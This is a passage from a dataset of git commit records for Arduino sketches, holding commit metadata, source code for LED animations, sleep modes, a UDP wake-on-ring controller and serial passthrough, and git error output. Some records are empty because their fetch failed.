match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c909e79e92c9311991ecdcf0c9ec903bcdc9818","subject":"Minor refactor while failing to grok serial readline","message":"Minor refactor while failing to grok serial readline\n","repos":"meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand","old_file":"arduino\/LEDSwitch\/LEDSwitch.ino","new_file":"arduino\/LEDSwitch\/LEDSwitch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/meatballhat\/box-o-sand.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"93334da30c14de1f9a8ccfd9008d9bd3a8a9ab00","subject":"Arduino code upload. Requires Arduino version 1.6.9 for some reason.","message":"Arduino code upload. Requires Arduino version 1.6.9 for some reason.\n","repos":"edbgon\/rpipin,edbgon\/rpipin","old_file":"arduino\/i2cled\/i2cLedMaster.ino","new_file":"arduino\/i2cled\/i2cLedMaster.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <Wire.h>\n\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/\/ Disables i2c pullup resistors. Disable this if you don't have any on the i2c bus.\n\/\/ It is recommended to use external pullups based on the capacitance of your i2c bus.\n#ifndef cbi\n#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit))\n#endif\n\n\/\/ PIN is the digital output pin used for LED control\n\/\/ NUM_LEDS is the number of LEDS on the string\n#define PIN 3\n#define NUM_LEDS 29\n\n#define I2C_ADDRESS 0x10 \/\/ Slave i2c address\n\n\/\/ Command codes. Set these to whatever you want, just make sure to update the master as well\n\/\/ 0x01 to 0xFF are available\n\n\/\/Permanent Set\n#define SET_SINGLE_COLOR 0x15\n\n\/\/Temporary Set\n#define COLOR_WIPE 0x20\n\n\/\/Long Animations\n#define RAINBOW 0x50\n#define RAINBOW_CYCLE 0x51\n#define THEATER_CHASE 0x52\n#define THEATER_CHASE_RAINBOW 0x53\n\n\/\/Short Animations\n#define FLASHER 0x60\n\n\/\/Infinite Animations\n#define FLASHINF 0x71\n#define FLASHALT 0x72\n#define SPARKLE 0x73\n#define SPARKLE_FADE 0x74\n#define FLAME 0x75\n#define GLOW 0x76\n\n\/\/Utilities\n#define RESTORE_STATE 0xFD\n#define SET_ALL 0xFE\n#define CLEAR_ALL 0xFF\n\n\n\/\/FIRE 2012 Defines\n#define SPARKING 120\n#define COOLING 55\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ Global Variables\nint x = 0;\nbyte mode = 0;\nbyte led = 0;\nbyte r = 0;\nbyte g = 0;\nbyte b = 0;\nbyte del = 0;\nbyte rep = 0;\n\nuint32_t blank = strip.Color(0, 0, 0);\nuint32_t currColor = strip.Color(0, 0, 0);\n\n\/\/ Backup storage for LEDs to restore former state before short animations play\nbyte ledMatrix[NUM_LEDS][5];\nuint32_t ledTime[NUM_LEDS];\n\nvoid setup() {\n \/\/ LED Strip Init\n strip.begin();\n strip.setBrightness(64); \/\/ 25% brightness for now\n strip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ I2C Init Code\n Wire.begin(I2C_ADDRESS); \/\/ join i2c bus with address #8\n\n cbi(PORTC, 4);\n cbi(PORTC, 5);\n \n Wire.onReceive(receiveEvent); \/\/ register event\n\n randomSeed(analogRead(0));\n\n Serial.begin(9600);\n\n \/\/Initialize with blank LED string\n for(int i = 0; i < NUM_LEDS; i++){\n for(int j = 0; j < 5; j++){\n ledMatrix[i][j] = 0;\n }\n }\n}\n\nvoid loop() {\n\n currColor = strip.Color(r, g, b);\n\n switch(mode) {\n case RESTORE_STATE: restoreState(); break;\n case COLOR_WIPE: colorWipe(); break;\n case RAINBOW: rainbow(); break;\n case RAINBOW_CYCLE: rainbowCycle(); break;\n case THEATER_CHASE: theaterChase(); break;\n case THEATER_CHASE_RAINBOW: theaterChaseRainbow(); break;\n case FLASHER: flasher(); break;\n case FLASHINF: flashinf(); break;\n case FLASHALT: flashalt(); break;\n case SPARKLE: sparkle(); break;\n case SPARKLE_FADE: sparkleFade(); break;\n case FLAME: flame(); break;\n case GLOW: glow(); break;\n\n case SET_ALL:\n for(uint16_t i=0; i < NUM_LEDS; i++) {\n strip.setPixelColor(i, currColor);\n }\n break;\n\n case CLEAR_ALL:\n for(uint16_t i=0; i < NUM_LEDS; i++) {\n strip.setPixelColor(i, blank);\n }\n break;\n\n default:\n refresh();\n break;\n }\n \n strip.show();\n}\n\n\/\/ Read 7 bytes as command over i2c\nvoid receiveEvent(int bytes) {\n while(Wire.available()) {\n mode = Wire.read();\n led = Wire.read();\n r = Wire.read();\n g = Wire.read();\n b = Wire.read();\n del = Wire.read();\n rep = Wire.read();\n }\n if(mode == SET_SINGLE_COLOR) {\n ledMatrix[led][0] = r;\n ledMatrix[led][1] = g;\n ledMatrix[led][2] = b;\n ledMatrix[led][3] = del;\n ledMatrix[led][4] = rep;\n mode = 0x00;\n }\n}\n\nvoid refresh() {\n for(int i = 0; i < NUM_LEDS; i++){\n if(ledMatrix[i][4] == 1) {\n uint32_t diff = millis() - ledTime[i];\n if(diff <= ledMatrix[i][3]) {\n strip.setPixelColor(i, strip.Color(ledMatrix[i][0], ledMatrix[i][1], ledMatrix[i][2]));\n }\n else if(diff > ledMatrix[i][3] && diff < ledMatrix[i][3]*2) {\n strip.setPixelColor(i, strip.Color(0, 0, 0));\n }\n else {\n ledTime[i] = millis();\n }\n }\n else {\n strip.setPixelColor(i, strip.Color(ledMatrix[i][0], ledMatrix[i][1], ledMatrix[i][2]));\n }\n }\n strip.show(); \n}\n\n\/\/ Restore back to individually set configuration\nvoid restoreState() {\n mode = 0x00;\n}\n\nvoid flasher() {\n for(uint16_t j=0; j < rep; j++){\n for(uint16_t i=0; i < NUM_LEDS; i++) {\n if(mode != FLASHER) { return; }\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n }\n delay(del);\n for(uint16_t k=0; k < NUM_LEDS; k++) {\n if(mode != FLASHER) { return; }\n strip.setPixelColor(k, blank);\n strip.show();\n }\n delay(del);\n }\n mode = 0x00; \/\/ Run once only\n restoreState();\n}\n\nvoid flashinf() {\n while(mode == FLASHINF) {\n for(uint16_t i = 0; i < NUM_LEDS; i++) {\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n }\n delay(del);\n for(uint16_t k = 0; k < NUM_LEDS; k++) {\n strip.setPixelColor(k, blank);\n strip.show();\n }\n delay(del);\n }\n}\n\nvoid flashalt() {\n byte start = 0;\n while(mode == FLASHALT) {\n start = start ^ 1;\n for(uint16_t i = start; i < NUM_LEDS; i += 2) {\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n }\n delay(del);\n for(uint16_t k = 0; k < NUM_LEDS; k++) {\n strip.setPixelColor(k, blank);\n strip.show();\n }\n delay(del);\n }\n}\n\nvoid sparkle() {\n while(mode == SPARKLE) {\n for(uint16_t i = 0; i < NUM_LEDS; i++) {\n byte col = (random(10)==0);\n strip.setPixelColor(i, strip.Color(col*r, col*g, col*b));\n strip.show();\n }\n delay(del);\n }\n}\n\nvoid sparkleFade() {\n static byte leds[NUM_LEDS][3];\n memset(leds,0,sizeof(leds));\n \n while(mode == SPARKLE_FADE) {\n for(uint16_t i = 0; i < NUM_LEDS; i++) {\n if(random(rep*10) == 0) {\n leds[i][0] = r; \n leds[i][1] = g;\n leds[i][2] = b;\n }\n leds[i][0] = constrain(leds[i][0] - 3, 0, 255);\n leds[i][1] = constrain(leds[i][1] - 3, 0, 255);\n leds[i][2] = constrain(leds[i][2] - 3, 0, 255);\n strip.setPixelColor(i, strip.Color(leds[i][0], leds[i][1], leds[i][2]));\n strip.show();\n }\n delay(del);\n }\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe() {\n for(uint16_t i=0; i< NUM_LEDS; i++) {\n if(mode != COLOR_WIPE) {\n return; \n }\n strip.setPixelColor(i, strip.Color(r, g, b));\n strip.show();\n delay(del);\n }\n mode = 0x00; \/\/ Run once only\n}\n\nvoid clearall() {\n for(uint16_t i=0; i < NUM_LEDS; i++) {\n strip.setPixelColor(i, blank);\n }\n for(int i = 0; i < NUM_LEDS; i++){\n for(int j = 0; j < 3; j++){\n ledMatrix[i][j] = 0;\n }\n }\n}\n\n\/\/ Rainbow animation, better seen on longer strips\nvoid rainbow() {\n uint16_t i, j;\n while(mode == RAINBOW) {\n for(j=0; j < 256; j++) {\n for(i=0; i < NUM_LEDS; i++) {\n if(mode != RAINBOW) {\n return;\n }\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(del);\n }\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle() {\n uint16_t i, j;\n while(mode == RAINBOW_CYCLE) {\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< NUM_LEDS; i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ NUM_LEDS) + j) & 255));\n }\n strip.show();\n delay(del);\n if(mode != RAINBOW_CYCLE) {\n return;\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase() {\n while(mode == THEATER_CHASE) {\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < NUM_LEDS; i=i+3) {\n if(mode != THEATER_CHASE) {\n return;\n }\n strip.setPixelColor(i+q, currColor); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(del);\n\n for (uint16_t i=0; i < NUM_LEDS; i=i+3) {\n if(mode != THEATER_CHASE) {\n return;\n }\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow() {\n while(mode == THEATER_CHASE_RAINBOW) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < NUM_LEDS; i=i+3) {\n if(mode != THEATER_CHASE_RAINBOW) {\n return;\n }\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n \n delay(del);\n \n for (uint16_t i=0; i < NUM_LEDS; i=i+3) {\n if(mode != THEATER_CHASE_RAINBOW) {\n return;\n }\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n }\n}\n\nvoid glow() {\n byte col = 0;\n float roll = 0;\n float calc = 0;\n while(mode == GLOW) {\n roll++;\n if(roll > TWO_PI * 100) { roll = 0; }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n calc = (-cos(roll\/100)+1)*255\/2;\n col = (byte)calc;\n strip.setPixelColor(i, strip.Color(col, col, col));\n strip.show();\n }\n delay(del);\n }\n}\n\n\/\/ Fire2012 library test\nvoid flame() {\n static byte heat[NUM_LEDS];\n byte rnd;\n \n while(mode == FLAME) {\n \/\/ Step 1. Cool down every cell a little\n for( int i = 0; i < NUM_LEDS; i++) {\n rnd = random(0, ((COOLING * 10) \/ NUM_LEDS) + 2);\n if(heat[i] > rnd) { heat[i] = heat[i] - rnd; }\n else { heat[i] = 0; }\n }\n \n \/\/ Step 2. Heat from each cell drifts 'up' and diffuses a little\n for( int k= NUM_LEDS - 3; k > 0; k--) {\n heat[k] = (heat[k - 1] + heat[k - 2] + heat[k - 2] ) \/ 3;\n }\n \n \/\/ Step 3. Randomly ignite new 'sparks' of heat near the bottom\n if( random(0, 255) < SPARKING ) {\n int y = random(7);\n rnd = random(160,255);\n if(heat[y] + rnd < 255) { heat[y] = heat[y] + rnd; }\n else { heat[y] = 255; }\n }\n \n \/\/ Step 4. Map from heat cells to LED colors\n for( int j = 0; j < NUM_LEDS; j++) {\n strip.setPixelColor(j, heatColor(heat[j]));\n strip.show();\n }\n delay(del);\n }\n}\n\nuint32_t heatColor(uint8_t temperature) {\n\n byte hr;\n byte hg;\n byte hb;\n \n \/\/ Scale 'heat' down from 0-255 to 0-191,\n \/\/ which can then be easily divided into three\n \/\/ equal 'thirds' of 64 units each.\n uint8_t t192 = map(temperature, 0, 255, 0, 192);\n \n \/\/ calculate a value that ramps up from\n \/\/ zero to 255 in each 'third' of the scale.\n uint8_t heatramp = t192 & 0x3F; \/\/ 0..63\n heatramp <<= 2; \/\/ scale up to 0..252\n \n \/\/ now figure out which third of the spectrum we're in:\n if( t192 & 0x80) {\n \/\/ we're in the hottest third\n hr = 255; \/\/ full red\n hg = 255; \/\/ full green\n hb = heatramp; \/\/ ramp up blue\n \n } else if( t192 & 0x40 ) {\n \/\/ we're in the middle third\n hr = 255; \/\/ full red\n hg = heatramp; \/\/ ramp up green\n hb = 0; \/\/ no blue\n \n } else {\n \/\/ we're in the coolest third\n hr = heatramp; \/\/ ramp up red\n hg = 0; \/\/ no green\n hb = 0; \/\/ no blue\n }\n \n return strip.Color(hr, hg, hb);\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/i2cled\/i2cLedMaster.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7971daf826ae6a3833ff9b995e98e7676e0faa96","subject":"slightly less current to avoid damages & injuries","message":"slightly less current to avoid damages & injuries\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d5d4724a3e79e15262430e1cf8fef91315c500db","subject":"Deep Sleep","message":"Deep Sleep\n","repos":"JimmySoftware\/ESPert,JimmySoftware\/ESPert,JimmySoftware\/ESPert","old_file":"examples\/_1040_Sleep\/_1040_Sleep.ino","new_file":"examples\/_1040_Sleep\/_1040_Sleep.ino","new_contents":"#include <ESPert.h>\n\nESPert_LED led;\nESPert espert;\n\nconst int sleepTimeS = 10;\n\nvoid setup() {\n int status = digitalRead(16);\n espert.init();\n espert.oled.init();\n espert.oled.clear();\n espert.oled.println( \"Status: \"+String(status) ); \n\n led.init( 12 );\n}\n\nvoid loop() {\n \n espert.println( \"ON\" );\n led.on();\n delay( 1000 );\n Serial.println( \"OFF\" );\n led.off();\n delay( 1000 );\n\n espert.println( \"ON\" );\n led.on();\n delay( 1000 );\n Serial.println( \"OFF\" );\n led.off();\n delay( 1000 );\n\n ESP.deepSleep(sleepTimeS * 1000000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/_1040_Sleep\/_1040_Sleep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"478d4380781800247a72f645c7accf9576a9e701","subject":"Ajout du sketch Arduino","message":"Ajout du sketch Arduino\n","repos":"mips-lab\/arduino---wake-on-ring","old_file":"wake-on-ring.ino","new_file":"wake-on-ring.ino","new_contents":"\/\/ Ce sketch arduino permet d'allumer un ordinateur via le Wake on Ring\n\/\/ en appliquant une tension sur le pin 9 du port s\u00e9rie\n\/\/ Au MIPS-lab, il faut envoyer en UDP \u00e0 l'arduino \"lamex\" o\u00f9 x est le num\u00e9ro de la\n\/\/ lame du Cray \u00e0 activer.\n\n#include <SPI.h> \n#include <Ethernet.h>\n#include <EthernetUdp.h>\n\nbyte mac[] = { 0x90, 0xA2, 0xDA, 0x0F, 0x4F, 0x39 }; \/\/ D\u00e9fini l'adresse MAC\nIPAddress ip(192, 168, 42, 250); \/\/ D\u00e9fini l'adresse IP\n\nint localPort = 9694; \/\/ D\u00e9fini le port\n \nint pin_LAME1 = 5;\nint pin_LAME2 = 6;\nint pin_LAME3 = 2;\nint pin_LAME4 = 3;\n \nint lame = 0;\nchar packetBuffer[32];\t\/\/ O\u00f9 sont stock\u00e9s les donn\u00e9es re\u00e7ues.x\nchar ReplyBuffer[] = \" OK \"; \/\/ R\u00e9ponse de l'arduino\nint demande = 0;\n\nEthernetUDP Udp;\n\nvoid setup() {\n\tEthernet.begin(mac,ip); \/\/ Initialise le shield ethernet\n\tUdp.begin(localPort); \/\/ Initialise la communication UDP\n\tSerial.begin(9600);\n\tpinMode(pin_LAME1, OUTPUT);\n\tpinMode(pin_LAME2, OUTPUT);\n\tpinMode(pin_LAME3, OUTPUT);\n\tpinMode(pin_LAME4, OUTPUT);\n\tpin_LAME1 = LOW;\n\tpin_LAME2 = LOW;\n\tpin_LAME3 = LOW;\n\tpin_LAME4 = LOW;\n}\n\nvoid loop() {\n\tint packetSize = Udp.parsePacket();\n\tif(packetSize) { \/\/ Si il y a un paquet\n\t\tUdp.read(packetBuffer,32); \/\/ le lire\n\t\tlame = packetBuffer[4]-'0'; \/\/ et convertir le 5e caract\u00e9re en chiffre (char -> int)\n\t\tswitch (lame) {\n\t\t\tcase 1:\n\t\t\t\tpin_LAME1 = HIGH;\n\t\t\t\tSerial.println(\"Active la lame 1\");\n\t\t\t\tdelay(1000);\n\t\t\t\tpin_LAME1 = LOW;\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tpin_LAME2 = HIGH;\n\t\t\t\tSerial.println(\"Active la lame 2\");\n\t\t\t\tdelay(1000);\n\t\t\t\tpin_LAME2 = LOW;\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tpin_LAME3 = HIGH;\n\t\t\t\tSerial.println(\"Active la lame 3\");\n\t\t\t\tdelay(1000);\n\t\t\t\tpin_LAME3 = LOW;\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tpin_LAME4 = HIGH;\n\t\t\t\tSerial.println(\"Active la lame 4\");\n\t\t\t\tdelay(1000);\n\t\t\t\tpin_LAME4 = LOW;\n\t\t\t\tbreak;\n\t\t}\n\t\tUdp.beginPacket(Udp.remoteIP(), 9694);\n\t\tUdp.write(ReplyBuffer);\n\t\tUdp.endPacket();\n\t}\n\tdelay(10);\t\t\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'wake-on-ring.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe26907b6d14c9b9fae3094dcf8d639ce119d910","subject":"Successfully contacted acm-web","message":"Successfully contacted acm-web\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_file":"Documentation\/unit tests\/ciao_test\/ciao_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/ciao_test\/ciao_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"576310d4ee845cd1a80d50e660316e71491c4e6a","subject":"Edited multiserial sketch to be in a proper folder and also use the newer GEVCU4 values.","message":"Edited multiserial sketch to be in a proper folder and also use the newer GEVCU4 values.\n","repos":"collin80\/GEVCU6,collin80\/GEVCU6","old_file":"util\/MultiSerial\/MultiSerial.ino","new_file":"util\/MultiSerial\/MultiSerial.ino","new_contents":"\/*\n Transmit serial data back and forth between two ports\n in order to flash new firmware to ichip with the ichip config tool.\n\n Note: Steps 1-5 have to be completed within 30 seconds (30000ms)\n \n Steps:\n 1) reset arduino (e.g. power cycle)\n 2) start ichip software\n 3) menu \"serial ports\", select com port of ardiuno, set baud rate to 9600\n 4) click on \"ichip uploader via serial\"\n 5) select EBI flash 16 Megabit (if window doesn't appear, start over, act faster)\n 6) Click FW Update, select .imf file and wait until finished, close ichip program\n 7) power cycle arduino\/gevcu and wait 20-30sec\n 8) menu \"serial ports\", set baud rate to 115200\n 9) go to configuration page\n\n check-out http:\/\/www.youtube.com\/watch?v=vS60htz6h1g at 00:35:00\n\n *\/\n\nbool flag = true;\nvoid setup() {\n\tSerialUSB.begin(9600); \/\/ use SerialUSB only as the programming port doesn't work\n\tSerial2.begin(9600); \/\/ use Serial3 for GEVCU2, use Serial2 for GEVCU3+4\n\/\/\tpinMode(43, INPUT);\n}\n\nvoid loop() {\n\twhile (Serial2.available()) {\n\t\tSerialUSB.write(Serial2.read());\n\t}\n\twhile (SerialUSB.available()) {\n\t\tSerial2.write(SerialUSB.read());\n\t}\n\n\t\/*if (flag && millis() > 30000) {\n\t\tSerialUSB.begin(115200);\n\t\tSerial2.begin(115200);\n\t\tflag = false;\n\t}*\/\n}\n\n \/*\"FD\"\n \"BDRA\"\n \"WLCH=1\n \"WLSI=!GEVCU\"\n \"DIP=192.168.3.10\"\n \"DPSZ=10\"\n \"RPG=secret\"\n \"WPWD=secret\"\n \"AWS=1\"\n \"DOWN\" *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'util\/MultiSerial\/MultiSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"462d6b3d61cd70c297402fe3fe412fb7d06c25b8","subject":"attiny85 wdt sleep","message":"attiny85 wdt sleep\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_24-attiny85-wdt-sleep\/_24-attiny85-wdt-sleep.ino","new_file":"_24-attiny85-wdt-sleep\/_24-attiny85-wdt-sleep.ino","new_contents":"\/\/ Using low poer for attiny85 \n\/\/ https:\/\/github.com\/johnnie502\/Low-Power\n#include <LowPower.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n\nvoid setup() {\n pinMode(3, OUTPUT);\n for (int k = 0; k < 10; k = k + 1) {\n if (k % 2 == 0) {\n digitalWrite(3, HIGH);\n }\n else {\n digitalWrite(3, LOW);\n }\n delay(250);\n }\n}\n\nvoid loop() {\n sleep16seconds();\n digitalWrite(3, HIGH); \n delay(1000); \n digitalWrite(3, LOW); \n}\n\n\nvoid sleep16seconds() {\n for (int i = 0; i < 2; i++) { \n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_24-attiny85-wdt-sleep\/_24-attiny85-wdt-sleep.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"3ba52b0bfe69c4911f81f6c6d6baaf24cd47d10e","subject":"Programming Test 1 initial upload","message":"Programming Test 1 initial upload\n","repos":"BrianAdams\/ArduESCProgrammer-exp,BrianAdams\/ArduESCProgrammer-exp","old_file":"ProgramingTest1\/ProgramingTest1.ino","new_file":"ProgramingTest1\/ProgramingTest1.ino","new_contents":"#include <Servo.h>\n\n#define MAX_SIGNAL 2000\n#define MIN_SIGNAL 700\n#define MOTOR_PIN 9\n\nServo motor;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Program begin...\");\n Serial.println(\"This program will calibrate the ESC.\");\n\n motor.attach(MOTOR_PIN);\n\n Serial.println(\"Now writing maximum output.\");\n Serial.println(\"Turn on power source, then wait 2 seconds and press any key.\");\n motor.writeMicroseconds(MAX_SIGNAL);\n\n \/\/ Wait for input\n while (!Serial.available());\n Serial.read();\n\n \/\/ Send min output\n Serial.println(\"Sending minimum output\");\n motor.writeMicroseconds(MIN_SIGNAL);\n\n}\n\nvoid loop() { \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ProgramingTest1\/ProgramingTest1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08fd6a2926514686bfde5837362cee741e39a16f","subject":"Update masterCode.ino","message":"Update masterCode.ino","repos":"huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15","old_file":"Arduino Code\/masterCode\/masterCode.ino","new_file":"Arduino Code\/masterCode\/masterCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"dbf42bc8edc43c893559c71481c9b2ea3cf5e80c","subject":"added goomba","message":"added goomba\n","repos":"cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall","old_file":"PixelViews\/Goomba\/Goomba.ino","new_file":"PixelViews\/Goomba\/Goomba.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 5\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define BRIGHTNESS 200\n\nconst uint8_t kMatrixWidth = 20;\nconst uint8_t kMatrixHeight = 10;\nconst bool kMatrixSerpentineLayout = false;\n\nuint16_t XY( uint8_t x, uint8_t y)\n{\n uint16_t i;\n \n if( kMatrixSerpentineLayout == false) {\n i = (y * kMatrixWidth) + x;\n }\n\n if( kMatrixSerpentineLayout == true) {\n if( y & 0x01) {\n \/\/ Odd rows run backwards\n uint8_t reverseX = (kMatrixWidth - 1) - x;\n i = (y * kMatrixWidth) + reverseX;\n } else {\n \/\/ Even rows run forwards\n i = (y * kMatrixWidth) + x;\n }\n }\n \n return i;\n}\n\n#define NUM_LEDS (kMatrixWidth * kMatrixHeight)\nCRGB leds_plus_safety_pixel[ NUM_LEDS + 1];\nCRGB* const leds( leds_plus_safety_pixel + 1);\n\nuint16_t XYsafe( uint8_t x, uint8_t y)\n{\n if( x >= kMatrixWidth) return -1;\n if( y >= kMatrixHeight) return -1;\n return XY(x,y);\n}\n\n\/\/ Demo that USES \"XY\" follows code below\n\nvoid loop()\n{\n\/\/ FastLED.show();\n\/\/ FastLED.setBrightness(BRIGHTNESS);\n}\n\nvoid set_led_rgb(int x, int y, int r, int g, int b)\n{\n leds[ XY(x, y) ] = CRGB( r, g, b );\n}\n\nvoid ShowGoomba()\n{\n \/\/ Shows a Goomba, see https:\/\/raw.githubusercontent.com\/cbries\/rgbwall\/master\/Photos,%20Images,%20Videos\/Goomba01.jpg\n set_led_rgb(0, 0, 13, 9, 7); set_led_rgb(1, 0, 13, 5, 0); set_led_rgb(2, 0, 8, 3, 0); set_led_rgb(3, 0, 5, 2, 1); set_led_rgb(4, 0, 5, 4, 4); set_led_rgb(5, 0, 7, 3, 0); set_led_rgb(6, 0, 10, 4, 0); set_led_rgb(7, 0, 13, 5, 0); set_led_rgb(8, 0, 13, 5, 0); set_led_rgb(9, 0, 13, 5, 0); set_led_rgb(10, 0, 13, 5, 0); set_led_rgb(11, 0, 13, 5, 0); set_led_rgb(12, 0, 11, 4, 0); set_led_rgb(13, 0, 8, 3, 0); set_led_rgb(14, 0, 5, 4, 4); set_led_rgb(15, 0, 5, 3, 1); set_led_rgb(16, 0, 7, 2, 0); set_led_rgb(17, 0, 13, 5, 0); set_led_rgb(18, 0, 13, 8, 5); set_led_rgb(19, 0, 14, 11, 10);\n set_led_rgb(0, 1, 13, 5, 0); set_led_rgb(1, 1, 13, 5, 0); set_led_rgb(2, 1, 13, 5, 0); set_led_rgb(3, 1, 13, 6, 2); set_led_rgb(4, 1, 13, 12, 10); set_led_rgb(5, 1, 2, 2, 2); set_led_rgb(6, 1, 5, 2, 0); set_led_rgb(7, 1, 13, 5, 0); set_led_rgb(8, 1, 13, 5, 0); set_led_rgb(9, 1, 13, 5, 0); set_led_rgb(10, 1, 13, 5, 0); set_led_rgb(11, 1, 13, 5, 0); set_led_rgb(12, 1, 7, 3, 0); set_led_rgb(13, 1, 0, 0, 0); set_led_rgb(14, 1, 13, 12, 9); set_led_rgb(15, 1, 13, 8, 4); set_led_rgb(16, 1, 13, 5, 0); set_led_rgb(17, 1, 13, 5, 0); set_led_rgb(18, 1, 13, 5, 0); set_led_rgb(19, 1, 13, 6, 1);\n set_led_rgb(0, 2, 13, 5, 0); set_led_rgb(1, 2, 13, 5, 0); set_led_rgb(2, 2, 13, 5, 